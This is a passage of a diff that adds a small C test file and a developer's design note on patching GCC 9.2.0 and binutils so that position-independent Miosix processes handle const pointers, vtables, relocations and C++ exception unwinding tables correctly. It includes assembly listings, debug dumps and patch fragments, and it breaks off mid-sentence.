ptr; +} + +void f(); +typedef void (*fp)(); +fp g() { return &f; } + +// Like extern struct _reent *const _global_impure_ptr __ATTRIBUTE_IMPURE_PTR__; +extern int * const cptr; + +const int *get7() +{ + return cptr; +} + +// ptr1 ends in .data.rel, as its value needs to be relocated while ptr2 ends up in .rodata. +int * const ptr1=0; +int * const ptr2=&aData; + +const int * gg() { return ptr2; } //Interesting, due to optimization this references directly aData + +// What if it's not a pointer, like extern int * const cptr; but a struct, or an array? +// If that struct contains pointers, then the entire struct gets promoted out of .rodata +struct Q { int *p; int i; }; +const struct Q q1 = { 0,0 }; +const struct Q q2 = { &aData,0 }; + + + + diff --git a/tools/compiler/gcc-9.2.0-mp3.2/patches/doc/processes-patch.md b/tools/compiler/gcc-9.2.0-mp3.2/patches/doc/processes-patch.md new file mode 100644 index 000000000..3331e5d70 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/patches/doc/processes-patch.md @@ -0,0 +1,944 @@ + +# Notes on the patch to support processes in Miosix + +TODO: Intro, pie, single-pic-base, no fixed offset between .text/.rodata and .got/.data/.bss, the basic stuff of how Miosix processes work. + +TODO: Comment the changes that were introduced in 4.7.3 and their limitations (processes couldn't use standard libraries as malloc and everything that used it was broken), as what comes next is a delta compared to it. + +NOTE: Most of this document contains addresses from debugging sessions done when DATA_BASE, or the base address of the data segment in a Miosix process before being dynamically relocated, is 0x10000000. This was later changed to 0x40000000, so watch out if some address seems strange. + + + +## The problem with extern const (FIXED) + +In processes compiled with GCC 4.7.3: + +- stuff in .data are accessed from the GOT, which is OK +- strings in .rodata are accessed PC-relative, which is OK +- consts in .rodata are accessed from the GOT, which is WRONG! (more on that later when pointer are involved, though) + +Here's an example: + +``` +extern const int aRodata; +extern int aData; +const char str[]="Hello world\n"; + +int get1() { return aRodata; } +int get2() { return aData; } +const char *get3() { return str; } +``` + +used to compile as: + +``` +get1: + ldr r3, .L3 + ldr r3, [r9, r3] + ldr r0, [r3] + bx lr + +get2: + ldr r3, .L6 + ldr r3, [r9, r3] + ldr r0, [r3] + bx lr + + +get3: + ldr r0, .L9 +.LPIC0: + add r0, pc + bx lr +``` + +`get1()` is the wrong one, of course. + +(Compiled with `arm-miosix-eabi-gcc -mcpu=cortex-m3 -mthumb -mfix-cortex-m3-ldrd -fpie -msingle-pic-base -O2 -S processes.c`). + +What usually masks the issue is constant folding. Unless it's an extern const the value gets folded and the problem does not arise. + +Solution: +the previous patch relied on a GCC function, `decl_readonly_section()` to check whether the global variable to be loaded is const or not, but that function missed a few cases, so a dedicated function, the `miosix_processes_ref_demux()` function was added in `arm.c`. This new function handles the corner cases better, and also allows to fix some of the next issues. + + + + +## Why malloc failed (FIXED) + +`malloc()` uses a convoluted global array of pointers with an initializer list which makes them point inside the array itself. For a long time this was thought to confuse the codegen/relocations/whatever, somehow. + +Segfault was at address 0xf2 of this code: + +``` + e6: 2318 movs r3, #24 + e8: f8df 2538 ldr.w r2, [pc, #1336] ; 624 <_malloc_r+0x55c> + ec: f859 6002 ldr.w r6, [r9, r2] + f0: 4433 add r3, r6 +newlib-3.1.0/newlib/libc/stdlib/mallocr.c:2378 + f2: 685c ldr r4, [r3, #4] +``` + +But replicating similar code that referenced the same convolute array, `__malloc_av_` did not cause segfaults. + +An objdump of `main.o` found at the end of func: + +``` + 44: R_ARM_GOT32 __malloc_av_ +``` + +While an objdump of `lib_a-mallocr.o` at the end of `malloc_r`: + +``` + 55c: R_ARM_GOTOFF32 .LANCHOR0 + 560: R_ARM_GOTOFF32 .LANCHOR1 + 564: R_ARM_GOTOFF32 .LANCHOR2 +``` + +Page 208 of linkers and loaders explains the difference between GOT32 and GOTOFF, and GOTOFF relaocations only work if the gap between .text and .got is known, which is not. + +Turns out the issue is unrelated to the convolute array of malloc, a much simpler test case that triggers the issue causing GOTOFF relocations is: + +``` +int *ptr = { 0 }; +int *get6() +{ + return ptr; +} +``` + +Solution: comment out the part that generates GOTOFF relocations in the `arm_assemble_integer()` function in `arm.c`. In Miosix processes GOTOFF relocations should never appear. + + + + +## The problem with const pointers (FIXED) + +Accessing `_GLOBAL_REENT` in newlib segfaults, such as in this function: + +``` +struct _reent *__getreent() +{ + return _GLOBAL_REENT; +} + +__getreent(): + a78: 4b01 ldr r3, [pc, #4] ; (a80 <__getreent+0x8>) + a7a: 447b add r3, pc + a7c: 6818 ldr r0, [r3, #0] + a7e: 4770 bx lr +``` + +Now, `_GLOBAL_REENT` is declared as: + +``` +// sys/reent.h +extern struct _reent *const _global_impure_ptr; +#define _GLOBAL_REENT _global_impure_ptr +``` + +and defined as: + +``` +// impure.c +static struct _reent impure_data = _REENT_INIT(impure_data); +struct _reent *_impure_ptr = &impure_data; +struct _reent *const _global_impure_ptr = &impure_data; +``` + +At first it was believed that the issue is with the constness of pointer being more complex than normal variables, as we need not confuse the constness of the thing pointed to from the constness of the pointer itself. + +However, further investigation found out the const patch works in this case too: + +``` +extern const int * cptr; +const int *get() { return cptr; } + + ldr r3, .L3 + ldr r3, [r9, r3] + ldr r0, [r3] + +(symbol_ref:SI ("cptr") [flags 0xc0] ) + + unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set -1 canonical-type 0x7f9a2ff71a80 + precision:32 min + max + pointer_to_this > + unsigned SI size unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set 1 canonical-type 0x7f9a2ff71b28 + pointer_to_this > + used public unsigned external common read SI processes.c:22:20 + size unit-size + align:32 warn_if_not_align:0 context + (mem/f/c:SI (symbol_ref:SI ("cptr") [flags 0xc0] ) + [1 cptr+0 S4 A32]) chain > +variable (decl!=0) + + + +extern int * const cptr; +const int *get() { return cptr; } + + add r3, pc + ldr r0, [r3] + +(symbol_ref:SI ("cptr") [flags 0xc0] ) + + unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set -1 canonical-type 0x7f68224bf5e8 + precision:32 min + max + pointer_to_his > + readonly unsigned SI size unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set -1 canonical-type 0x7f682259ba80 + pointer_to_this > + readonly used public unsigned external common read SI processes.c:22:20 + size unit-size + align:32 warn_if_not_align:0 context + (mem/u/f/c:SI (symbol_ref:SI ("cptr") [flags 0xc0] ) + [1 cptr+0 S4 A32]) chain > +constant (TYPE_READONLY) +``` + +Basically, `extern const int * cptr;` is a non-const pointer, so it ends up in .data, and is accessed from the GOT, which is OK, and `extern int * const cptr;` is a const pointer which should end up in .rodata, so is accessed PC-relative, which seems good. In general, when deciding whether to use GOT or PC-relative addressing to get a pointer we are concerned about how to acccess the pointer itself, not what it points to (accessing what it points to is trivial and uniform, as you just need to dereference it in all cases). + +Although it seems reasonable to assume a const pointer ends up in .rodata just like any otheer const, it's also wrong. + +It looks that to know whether a pointer ends up in .rodata or not you can't just look at its **declaration**, you have to look at is **definition**, see for yourself: + +``` +extern int aData; +int * const ptr1=0; +int * const ptr2=&aData; + + .section .rodata +ptr1: + .space 4 + + .section .data.rel.ro,"aw" +ptr2: + .word aData +``` +If the const pointer is defined as pointing to another variable, it needs to be relocated. That is, the content of the memory cell of the pointer itself isn't known till run-time, because the address of the variable it should point to isn't known. But relocations in .rodata can't happen, as its... readonly, so the constant pointer gets promoted to another section that is in RAM so the relocation can take place. + +The implemented fix requres a compromise: in the general case we can't see the pointer definition, as it may be in another translation unit. Thus, we assume that all pointers will need a relocation, and thus we access all pointers (or all complex data structures that may contain pointers, using the `contains_pointers_p()` function of GCC) and use GOT addressing for those. + +At first, it was believed that to make this work, we need to actually move them into RAM to make the relocation work. + +This patch fragment of `categorize_decl_for_section()` in `varasm.c` did exactly that. + +``` +diff -ruN gcc-9.2.0-old/gcc/varasm.c gcc-9.2.0/gcc/varasm.c +--- gcc-9.2.0-old/gcc/varasm.c 2019-04-12 09:28:35.000000000 +0200 ++++ gcc-9.2.0/gcc/varasm.c 2020-06-25 00:36:05.732146923 +0200 +@@ -56,6 +56,8 @@ + #include "asan.h" + #include "rtl-iter.h" + #include "file-prefix-map.h" /* remap_debug_filename() */ ++#include "print-tree.h" ++#include + + #ifdef XCOFF_DEBUGGING_INFO + #include "xcoffout.h" /* Needed for external data declarations. */ +@@ -6675,7 +6677,21 @@ + /* C and C++ don't allow different variables to share the same + location. -fmerge-all-constants allows even that (at the + expense of not conforming). */ +- ret = SECCAT_RODATA; ++ { ++ //TODO: #ifdef _MIOSIX does not work in this context ++ /* ++ * This code matches the if(contains_pointers_p(type)) in ++ * miosix_processes_ref_demux() in arm.c. It disallows pointer-containing ++ * data structures to be const in Miosix processes, as they are always ++ * accessed from the GOT. ++ */ ++ tree type = TREE_TYPE(d); ++ assert(type != NULL && "Miosix: TREE_TYPE is null"); ++ //printf("--- %d %d\n",flag_pic,contains_pointers_p(type)); ++ //debug_tree(d); ++ if(flag_pic && contains_pointers_p(type)) ret = SECCAT_DATA; ++ else ret = SECCAT_RODATA; ++ } + else if (DECL_INITIAL (decl) + && TREE_CODE (DECL_INITIAL (decl)) == STRING_CST) + ret = SECCAT_RODATA_MERGE_STR_INIT; +``` + +But it was found out that this patch failed to work when arrays were concerned. +An example found in newlib that caused segfaults is in `dtoa.c` when accessing the `tinytens` and `bigtens` arrays defined in `mprec.c`. + +A simpler testcase can be made but it requires two translation units to prevent folding masking the issue. + +``` +// stuff.h +extern const int ptr[]; + +// stuff.c +const int ptr[] = { 0x12345678 }; + +// main.c +// do something that accesses ptr + +``` + +This example and the one in libc do cause the appearance of GOT entries which point to .rodata. + +Instead of chasing every case where we need to promote something from .rodata to .data, a patch was made in the OS kernel relocation code: +if the relocation target address is not greater than DATA_BASE (which was 0x10000000 and later as part of these patch was changed to 0x40000000), it means that the relocation points to .rodata, and in that case the relocation is done starting from the CODE base address, not from the RAM base address. + +This fix made obsolete the idea of forcedly promoting pointer-containing data structures to RAM, so the `varasm.c` patch above was removed. This choice saves RAM, as now + +* pointer containing global data structures that need no relocation stay in .rodata (saving RAM) but are accessed from the GOT anyway as-if they were in RAM. The OS relocation code patch makes this work, and there is a small but unavoidable RAM size penalty for the GOT entries, which is however unavoidable as we need an uniform way to access them without seeing their definition. + +* pointer containing global data structures that do need relocations get promoted to RAM (necessary) and are accessed from the GOT (necessary, as being in RAM, PC-relative addressing won't work). + +TL;DR: in pointer containing data structures, sometimes we go through the GOT even if the data structure we're accessing is in .rodata. This slight inefficiency is however necessary for uniformity in accessing said data structures. + + + + +## The problem with vtables (FIXED) + +An example with `cout << "Hello world" << endl;` fails with a segfault during static construction of the cout object. The problem arises during a `dynamic_cast`. + +``` +Process 1 terminated due to a fault +* Code base address was 0x64017268 +* Data base address was 0x64100000 +* MPU region 6 0x64000000-0x64100000 r-x +* MPU region 7 0x64100000-0x64104000 rw- +* Attempted data access @ 0x74017818 (PC was 0x6403a610) +Process 1 terminated +Process segfaulted +``` + +Trying to understand where the wrong address goes `0x74017818 - 0x64017268 = 0x100005b0` and this address points to + +``` + .data.rel.ro._ZTVSt5ctypeIcE + 0x00000000100005b0 0x30 libstdc++.a(ctype.o) + 0x00000000100005b0 _ZTVSt5ctypeIcE +``` + +and `_ZTVSt5ctypeIcE` is `vtable for std::ctype`. + +Further testing with a simpler program fails in the same way + +``` +#include + +class Base +{ +public: + virtual void print() const { puts("I'm Base"); } + virtual ~Base() {} +}; + +class Derived : public Base +{ +public: + virtual void print() const { puts("I'm Derived"); } +}; + +void __attribute__((noinline)) call(Base *base) +{ + base->print(); +} + +Base *__attribute__((noinline)) mkbase() +{ + return new Base; +} + +Derived *__attribute__((noinline)) mkderived() +{ + return new Derived; +} + +int main() +{ + volatile int i=0; + Base *base = i==0 ? mkderived() : mkbase(); + call(base); + delete base; +} +``` + +It appears that the issue occurs in the constructor + +``` +0000ead4 <_Z9mkderivedv>: +_Z9mkderivedv(): + ead4: b508 push {r3, lr} + ead6: 2004 movs r0, #4 + ead8: f000 f946 bl ed68 <_Znwj> + eadc: 4b02 ldr r3, [pc, #8] ; (eae8 <_Z9mkderivedv+0x14>) + eade: 447b add r3, pc + eae0: 3308 adds r3, #8 + eae2: 6003 str r3, [r0, #0] + eae4: bd08 pop {r3, pc} + eae6: bf00 nop + eae8: 0fff162e svceq 0x00ff162e +``` + +where the object memory is allocated, and the vptr is set to point to the vtable using PC-relative addressing even though the vtable is in RAM, as it's in .dat.rel.ro + +The vtable is considered const even though it contains pointers becauses it passes the `decl_readonly_section` check, which is done before the `contains_pointers_p` check. + +``` +(symbol_ref/i:SI ("_ZTV4Base") [flags 0x82] ) + + unsigned type_6 SI + size + unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set 4 canonical-type 0x7ff427aea498 + pointer_to_this > + BLK + size + unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set 4 canonical-type 0x7ff42781d498 + domain + type_6 SI size unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set -1 canonical-type 0x7ff42781d3f0 precision:32 min max > + pointer_to_this > + readonly addressable used public static tree_1 tree_2 tree_5 ignored weak read virtual decl_5 BLK vtable.cpp:2:7 size unit-size + user align:32 warn_if_not_align:0 context initial + + (mem/u/c:BLK (symbol_ref/i:SI ("_ZTV4Base") [flags 0x82] ) [4 _ZTV4Base+0 S16 A32])> +constant (decl_readonly_section) +``` + +As the vtable contains constant pointers (that need to be initialized to within .text to point to the member functions), relocations need to be done. +The solution is to move the `contains_pointers_p` check first. + + + + +## The problem with R_ARM_REL32 relocations (FIXED) + +Trying to compile C++ programs that do not use exceptions causes compilation to fail. An example as simple as this triggers the issue: + +``` +#include + +using namespace std; + +int main() +{ + printf("Hello world\n"); + return 0; +} +``` + +which fails with: + +``` +ld: libgcc.a(unwind-arm.o): relocation R_ARM_REL32 against external or undefined symbol `__cxa_call_unexpected' can not be used when making a PIE executable; recompile with -fPIC +libgcc.a(unwind-arm.o): in function `__gnu_unwind_pr_common': +unwind-arm-common.inc:824:(.text+0x744): dangerous relocation: unsupported relocation +``` + +Compiling with `-fno-exceptions` or adding code that throws/catches exceptions fixes the issue, but code that does not throw should not fail to compile. + +The problem is in `unwind-arm-common.inc` which declares a few functions prototypes as `__attribute__((weak))` that it then calls. Moreover, in one case it checkes whether the pointer to the `__gnu_Unwind_Find_exidix` function is not null, to see if the function exists in the (runtime) linked binary. + +The fix consists in patching `unwind-arm-common.inc` so that the function prototypes are no longer weak, and removing completely the check **and** then call to `__gnu_Unwind_Find_exidix` as it's not needed in Miosix. + + + + +## The problem with unwinding exception tables (FIXED) + +A simple program that throws an exception would segfault + +``` +#include + +void __attribute__((noinline)) f() +{ + throw 1; +} + +int main() try { + puts("in"); + f(); + puts("out"); + return 0; +} catch(int& e) { + puts("exc"); + return e; +} +``` + +in `__cxa_type_match` + +``` +0000eee4 <__cxa_type_match>: +[...] +gcc-9.2.0/libstdc++-v3/libsupc++/eh_arm.cc:86 + ef08: 6823 ldr r3, [r4, #0] +``` + +The fault happens when dereferencing a pointer, but the pointer does not get computed in this function, but passed as a parameter. +The caller is `__gxx_personality_v0` + +``` +line 576 of eh_personality.cc + + while (1) + { + p = action_record; + p = read_sleb128 (p, &ar_filter); + read_sleb128 (p, &ar_disp); + + if (ar_filter == 0) + { + // Zero filter values are cleanups. + saw_cleanup = true; + } + else if (ar_filter > 0) + { + // Positive filter values are handlers. + catch_type = get_ttype_entry (&info, ar_filter); + + // Null catch type is a catch-all handler; we can catch foreign + // exceptions with this. Otherwise we must match types. + if (! catch_type + || (throw_type + && get_adjusted_ptr (catch_type, throw_type, + &thrown_ptr))) +``` + +The `get_adjusted_ptr` is a macro to the `__cxa_type_match` code that is faulting. +The corrupted variable is `catch_type`, and is returned by `get_ttype_entry`, which in turn gets it by calling `read_encoded_value_with_base` in `libgcc/unwind-pe.h`. + +The `read_encoded_value_with_base` is called with the following parameters: +``` +unsigned char encoding = 0x10 +_Unwind_Ptr base = 0 +const unsigned char *p = 0x64027198 - 0x64017268 = 0xff30 +``` + +and at memory location 0xff30 in the elf file there is the .ARM.extab section, so this code is retrieving a pointer from the exception unwinding tables. +So, summing up, the unwind tables are coded assuming that it's possible to construct addresses to the typeinfo structures (which are in .data.rel.ro, thus in RAM) through PC-relative addressing which is not possible. + +From the same file we also find another useful function: + +``` +static _Unwind_Ptr +base_of_encoded_value (unsigned char encoding, struct _Unwind_Context *context) +{ + if (encoding == DW_EH_PE_omit) + return 0; + + switch (encoding & 0x70) + { + case DW_EH_PE_absptr: + case DW_EH_PE_pcrel: + case DW_EH_PE_aligned: + return 0; + + case DW_EH_PE_textrel: + return _Unwind_GetTextRelBase (context); + case DW_EH_PE_datarel: + return _Unwind_GetDataRelBase (context); + case DW_EH_PE_funcrel: + return _Unwind_GetRegionStart (context); + } + __gxx_abort (); +} +``` + +This function computes the `base` parameter the the previous function, and returns zero since encoding is 0x10 or `DW_EH_PE_pcrel`. + +However, `_Unwind_GetDataRelBase()` is in `libgcc/config/arm/pr-support.c` + +``` +/* These two should never be used. */ + +_Unwind_Ptr +_Unwind_GetDataRelBase (_Unwind_Context *context __attribute__ ((unused))) +{ + abort (); +} +``` + +great, so that's unimplemented... + +One last bit we need to get the whole picture: how the compiler selects which encoding to use: `cd gcc/config/arm && grep -R 'DW_EH_PE_'` + +which found the list of constants: + +``` +#define DW_EH_PE_absptr 0x00 + +#define DW_EH_PE_pcrel 0x10 +#define DW_EH_PE_textrel 0x20 +#define DW_EH_PE_datarel 0x30 +#define DW_EH_PE_funcrel 0x40 +#define DW_EH_PE_aligned 0x50 + +#define DW_EH_PE_indirect 0x80 +``` + +and this file `gcc/config/arm/arm.h` which says + +``` +#ifndef ARM_TARGET2_DWARF_FORMAT +#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_pcrel +#endif + +/* ttype entries (the only interesting data references used) + use TARGET2 relocations. */ +#define ASM_PREFERRED_EH_DATA_FORMAT(code, data) \ + (((code) == 0 && (data) == 1 && ARM_UNWIND_INFO) ? ARM_TARGET2_DWARF_FORMAT \ + : DW_EH_PE_absptr) +``` + +And this is actually documented! + +`https://gcc.gnu.org/onlinedocs/gccint/Exception-Handling.html` + +`ASM_PREFERRED_EH_DATA_FORMAT (code, global)` + +So, despite the macro implementation in `arm.h` calls the parameters `code` and `data`, they are actually `code` and `global`: + +`code`: + +* 0 for data +* 1 for code labels +* 2 for function pointers + +while `global` is true if the symbol may be affected by dynamic relocations. + +From my understanding, the encoding is absptr unless we're accessing data and dynamic relocations may occur (ARM_UNWIND_INFO is the constant 1 so it's always true), in that case it's pcrel. + +A possible solution that was tested is: + +* `#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_datarel` +* implement `_Unwind_GetDataRelBase`. + +This is the patch that does the first thing: + +``` +diff -ruN gcc-9.2.0-old/gcc/config/arm/arm.h gcc-9.2.0/gcc/config/arm/arm.h +--- gcc-9.2.0-old/gcc/config/arm/arm.h 2019-04-23 12:03:41.000000000 +0200 ++++ gcc-9.2.0/gcc/config/arm/arm.h 2020-07-14 09:14:20.611848691 +0200 +@@ -878,7 +878,12 @@ + #define EH_RETURN_STACKADJ_RTX gen_rtx_REG (SImode, ARM_EH_STACKADJ_REGNUM) + + #ifndef ARM_TARGET2_DWARF_FORMAT +-#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_pcrel ++//TODO: #ifdef _MIOSIX does not work in this context ++//Produce exception unwinding tables that work with Miosix processes ++//see processes-patch.md, section "The problem with unwinding exception tables" ++//we want pcrel as usual for the Miosix kernel, and datarel for processes (pic) ++#define ARM_TARGET2_DWARF_FORMAT (flag_pic ? DW_EH_PE_datarel : DW_EH_PE_pcrel) ++//#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_pcrel + #endif + + /* ttype entries (the only interesting data references used) +``` + +This is the patch that does the second: + +``` +diff -ruN gcc-9.2.0-old/libgcc/config/arm/pr-support.c gcc-9.2.0/libgcc/config/arm/pr-support.c +--- gcc-9.2.0-old/libgcc/config/arm/pr-support.c 2019-04-23 12:03:41.000000000 +0200 ++++ gcc-9.2.0/libgcc/config/arm/pr-support.c 2020-07-14 09:14:20.615848615 +0200 +@@ -376,7 +376,14 @@ + _Unwind_Ptr + _Unwind_GetDataRelBase (_Unwind_Context *context __attribute__ ((unused))) + { +- abort (); ++//TODO: #ifdef _MIOSIX does not work in this context ++//Support exception unwinding that work with Miosix processes ++//see processes-patch.md, section "The problem with unwinding exception tables" ++//NOTE: this code gets linked (even though it never gets used) also in the kernel, ++//so the symbol name we coose here must also exist in the kernel linker scripts ++ extern char _data asm("_data"); //defined in the linker script ++ return &_data; ++// abort (); + } + + _Unwind_Ptr +``` + +And this just adds a print to see what happens: + +``` +diff -ruN gcc-9.2.0-old/gcc/except.c gcc-9.2.0/gcc/except.c +--- gcc-9.2.0-old/gcc/except.c 2019-03-11 14:58:44.000000000 +0100 ++++ gcc-9.2.0/gcc/except.c 2020-07-15 09:55:53.382783507 +0200 +@@ -3022,6 +3022,11 @@ + else + { + tt_format = ASM_PREFERRED_EH_DATA_FORMAT (/*code=*/0, /*global=*/1); ++ // This is here for debugging the change to ARM_TARGET2_DWARF_FORMAT ++ // in Miosix processes: when compiling C++ code that throws and catches ++ // exceptions, it should print 0x10 (DW_EH_PE_pcrel) when compiling the ++ // kernel (non-pic) and 0x30 (DW_EH_PE_datarel) when compiling processes ++ printf("\n\n-- called 0x%x --\n\n",tt_format); + if (HAVE_AS_LEB128) + ASM_GENERATE_INTERNAL_LABEL (ttype_label, + section ? "LLSDATTC" : "LLSDATT", +``` + + +But these patch don't work. With those changes throwing from a process still fails as before. +Even though at compile-time the DW_EH_PE_datarel value seems to be selected and the printf patch prints 0x30 (the call to `ASM_PREFERRED_EH_DATA_FORMAT` is in `output_one_function_exception_table` in `gcc/except.c` which is where the printf patch above is), `read_encoded_value_with_base` at runtime still gets called with 0x10 (pcrel)... + +More digging found this kludge in `eh_personality.cc`: + +``` +#if _GLIBCXX_OVERRIDE_TTYPE_ENCODING + /* Older ARM EABI toolchains set this value incorrectly, so use a + hardcoded OS-specific format. */ + info->ttype_encoding = _GLIBCXX_OVERRIDE_TTYPE_ENCODING; +#endif +``` + +Yes, despite we're wasting bytes in the binary to encode the format of pointer entries, they serve nothing as they are overridden by a compile-time kludge that forces the runtime library to ignore it... + +`https://gcc.gnu.org/legacy-ml/gcc-patches/2011-09/msg00765.html` + +The `#define _GLIBCXX_OVERRIDE_TTYPE_ENCODING` occurs in `libgcc/config/arm/unwind-arm.h`, +in the middle of the `_Unwind_decode_typeinfo_ptr` function (if you need to make a kludge, do it well...). + +Ok, more patching to remove the kludge: + +``` +diff -ruN gcc-9.2.0-old/libgcc/config/arm/unwind-arm.h gcc-9.2.0/libgcc/config/arm/unwind-arm.h +--- gcc-9.2.0-old/libgcc/config/arm/unwind-arm.h 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libgcc/config/arm/unwind-arm.h 2020-07-14 09:14:20.615848615 +0200 +@@ -57,7 +57,14 @@ + #elif defined(__symbian__) || defined(__uClinux__) + #define _GLIBCXX_OVERRIDE_TTYPE_ENCODING (DW_EH_PE_absptr) + /* Absolute pointer. Nothing more to do. */ ++#elif defined(_MIOSIX) ++ //DO NOT DEFINE _GLIBCXX_OVERRIDE_TTYPE_ENCODING, we don't want that kludge ++ //as the encoding could be either pc-relative (kernel) or data-relative (processes) ++ //see processes-patch.md ++ //This relies on base_of_encoded_value() setting base to 0 for DW_EH_PE_pcrel ++ tmp += base ? base : ptr; + #else ++#error FIXME deleteme added just in case + #define _GLIBCXX_OVERRIDE_TTYPE_ENCODING (DW_EH_PE_pcrel) + /* Pc-relative pointer. */ + tmp += ptr; +``` + +but this does not work either... + +At runtime, in the process, `read_encoded_value_with_base` is called with the following parameters: +``` +unsigned char encoding = 0x30 +_Unwind_Ptr base = 0x64100000 +const unsigned char *p = 0x640271c4 +``` + +The first two parameters are correct, the third one, is not. + +This time the encoding is the correct value. Also the base is ok, so we have the data base address. However, p points to where the offset is stored in the unwinding tables. And dereferencing that location we find 0x0fff023c. This is wrong, as the target we want is at 0x10000188, and 0x64100000 + 0x0fff023c = 0x740f023c which is the faulting address causing the segfault and not the target address. + +So while everything is set up for data-relative, the offset that gets encoded is still pc-relative... + +And it is here when things get complicated, as we need to llok deep into what's encoded in the unwinding tables. + +When compiling the simple `main.cpp` that throws at the beginning of this chapter, GCC produces the following tables, and the unwind tables end up in the binary, with a one-to-one match, (after the ULEB128 encoding is understood `https://en.wikipedia.org/wiki/LEB128`): + + +``` + .ARM.extab.text.startup.main + 0x000000000000ff30 0x20 main.o + + 0ff28 79f5ff7f b0b0a800 ........y....... + 0ff38 ff301501 0c06080e 011c042a 002e0400 .0.........*.... + 0ff48 00010000 3c02ff0f + + .global __gxx_personality_v0 + .personality __gxx_personality_v0 + .handlerdata + .align 2 + 79f5ff7f b0b0a800 = personality? +.LLSDA2: + .byte 0xff ff + .byte 0x30 30 + .uleb128 .LLSDATT2-.LLSDATTD2 15 +.LLSDATTD2: + .byte 0x1 01 + .uleb128 .LLSDACSE2-.LLSDACSB2 0c +.LLSDACSB2: + .uleb128 .LEHB0-.LFB2 06 + .uleb128 .LEHE0-.LEHB0 08 + .uleb128 .L9-.LFB2 0e + .uleb128 0x1 01 + .uleb128 .LEHB1-.LFB2 1c + .uleb128 .LEHE1-.LEHB1 04 + .uleb128 .L10-.LFB2 2a + .uleb128 0 00 + .uleb128 .LEHB2-.LFB2 2e + .uleb128 .LEHE2-.LEHB2 04 + .uleb128 0 00 + .uleb128 0 00 +.LLSDACSE2: + .byte 0x1 01 + .byte 0 00 + .align 2 00 + .word _ZTIi(TARGET2) 3c02ff0f (0x0fff023c) +``` + +So the problematic offset is right at the end, 0x0fff023c. However, GCC is not producing the address, it just outputs `.word _ZTIi(TARGET2)`. In this declaration, `_ZTIi` is the target symbol we want to access, and `(TARGET2)` a relocation type. + +Who prints this `.word _ZTIi(TARGET2)` in GCC? We're back to our friend, the `output_one_function_exception_table` in `gcc/except.c`. Just like the address is last in the exception tables, also the code that prints is last in the function, + +``` + if (targetm.arm_eabi_unwinder) + { + tree type; + for (i = 0; + vec_safe_iterate (cfun->eh->ehspec_data.arm_eabi, i, &type); ++i) + output_ttype (type, tt_format, tt_format_size); + } +``` + +The job is done by the `output_ttype`, but not exactly, as this function contains a + +``` + /* Allow the target to override the type table entry format. */ + if (targetm.asm_out.ttype (value)) + return; +``` + +and the ARM target has this function pointer non-null, and thus overrides the default `output_ttype` behavior. Following the code we get back to `arm.c`. + +``` +static bool +arm_output_ttype (rtx x) +{ + fputs ("\t.word\t", asm_out_file); + output_addr_const (asm_out_file, x); + /* Use special relocations for symbol references. */ + if (!CONST_INT_P (x)) + fputs ("(TARGET2)", asm_out_file); + fputc ('\n', asm_out_file); + + return TRUE; +} +``` + +and this is the function that prints the symbol name and `(TARGET2)`. + +adding an `if(flag_pic) return FALSE;` at the beginning of this function just affords an internal compiler error, apparently as by returning false we get back to `output_ttype` which calls `dw2_asm_output_encoded_addr_rtx` that contains a + +``` +#ifdef ASM_OUTPUT_DWARF_DATAREL + case DW_EH_PE_datarel: + gcc_assert (GET_CODE (addr) == SYMBOL_REF); + ASM_OUTPUT_DWARF_DATAREL (asm_out_file, size, XSTR (addr, 0)); + break; +#endif +``` + +and none is provided (sigh). + +Ok, backtracking, batching and trying to patch `arm_output_ttype` to produce another relocation type. But which type? The "ELF for the ARM Architecture" document availbale online seems to hint that ` R_ARM_BASE_ABS` is the right one, as it's a static relocation where the target is accessed as B(S) + A, which seems right. + + +``` +diff -ruN gcc-9.2.0-old/gcc/config/arm/arm.c gcc-9.2.0/gcc/config/arm/arm.c +--- gcc-9.2.0-old/gcc/config/arm/arm.c 2019-04-23 12:03:41.000000000 +0200 ++++ gcc-9.2.0/gcc/config/arm/arm.c 2020-07-15 23:37:34.457141163 +0200 +@@ -27847,7 +28036,23 @@ + output_addr_const (asm_out_file, x); + /* Use special relocations for symbol references. */ + if (!CONST_INT_P (x)) ++ { ++ //TODO: #ifdef _MIOSIX does not work in this context ++ //When generation C++ exception unwinding tables, DO generate data-relative ++ //entries instead of overriding them with pc-relative relocations ++ //See processes-patch.md ++ if(flag_pic) ++ { ++ //Use R_ARM_RELATIVE to generate a data-relative static relocation ++ //see "ELF for the ARM AELF for the ARM Architecture" ++ printf("using R_ARM_RELATIVE relocation for exception unwinding tables\n"); ++ fputs ("(BASE_ABS)", asm_out_file); ++ } else { ++ //Produce the default R_ARM_TARGET2 static relocation that is supposed ++ //to be platform specific but is actually pc-relative + fputs ("(TARGET2)", asm_out_file); ++ } ++ } + fputc ('\n', asm_out_file); + + return TRUE; +``` + +And here we find more trouble: the gnu assember does not support the relocation we want being input from assembly files... + +Ok, backtracking again, we'll have to make TARGET2 relocations work for our platform. GNU ld has an option, `--target2=` that allows to override how it handles target2 relocations. Great! +By grepping the sources (couldn't find what strings are accepted as type) it looks like the options are `abs`, `rel`, `got-rel`. The default behavior we're seeing is `rel`. `got-rel` seems promising on paper, but it produces garbage for unknown reasons. `abs` is best actually, as it produces the absolute address of the symbol, like 0x10000178. Of course, by just subtracting DATA_BASE, we get the data-relative offset we want. Maybe we could patch the unwinder to subtract DATA_BASE, but it looks like there's a problem. + +Miosix does not load binaries compiled with `--target2=abs`, and the reason is simple, other than producing the absolute value, the linker produces a dynamic relocation to fix it up at runtime, as we're in PIE/PIC mode, and for the first time that's NOT what we want, as relocations in a readonly sections can't be made. However, by temporarily commenting out that check in the kernel, adding a check to skip this wrong relocation and patching the binary by hand by removing 0x10000000 to that address, the process works and throws correctly with the readonly unwinding tables. + +Now, we just need a non-kludge way to do this. + +For this, there's no escape to patching binutils too. The patch first adds the `--target2=mx-data-rel` option and maps it to a brand new static relocation type, `R_ARM_MIOSIXPROC_TGT2`, that is basically the same as `R_ARM_ABS32` (the 